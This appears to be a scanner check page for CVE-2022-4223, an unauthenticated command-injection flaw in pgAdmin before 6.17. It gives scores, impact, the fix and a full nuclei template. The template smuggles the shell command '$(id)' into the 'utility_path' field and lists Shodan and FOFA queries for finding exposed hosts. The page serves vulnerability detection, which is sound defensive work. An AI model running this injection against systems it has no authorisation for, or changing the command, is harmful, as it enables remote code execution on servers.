pgAdmin < 6.17 - Unauthenticated Remote Code Execution

criticalseverity

9.8CVSS score

80.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

pgAdmin prior to 6.17 contains an insecure HTTP API caused by improper access control, letting unauthenticated users execute arbitrary external utilities via path manipulation, exploit requires no authentication.

Impact

Attackers can execute arbitrary external utilities on the server, potentially leading to remote code execution or system compromise.

Fix

Update to version 6.17 or later to fix the security issue.

How to confirm it

Send: GET /login
Send: POST /misc/validate_binary_path
Positive when: status_code == 200 and contains_all(body, "uid=", "gid=")

Run it with nuclei: nuclei -id CVE-2022-4223 -u <target>

The full check

id: CVE-2022-4223

info:
  name: pgAdmin < 6.17 - Unauthenticated Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    pgAdmin prior to 6.17 contains an insecure HTTP API caused by improper access control, letting unauthenticated users execute arbitrary external utilities via path manipulation, exploit requires no authentication.
  impact: |
    Attackers can execute arbitrary external utilities on the server, potentially leading to remote code execution or system compromise.
  remediation: |
    Update to version 6.17 or later to fix the security issue.
  reference:
    - https://github.com/advisories/GHSA-3v6v-2x6p-32mc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4223
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4223
    epss-score: 0.80069
    epss-percentile: 0.99619
    cwe-id: CWE-94,CWE-862
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"pgAdmin"
    fofa-query: title="pgAdmin"
  tags: cve,cve2022,pgadmin,rce,unauth,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="csrf_token"[^>]*value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /misc/validate_binary_path HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-pgA-CSRFToken: {{csrf}}
        Referer: {{RootURL}}/browser/

        {"utility_path":"/tmp/$(id)"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "uid=", "gid=")'
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'

References

Use this check only on systems you are authorised to test. Where the data comes from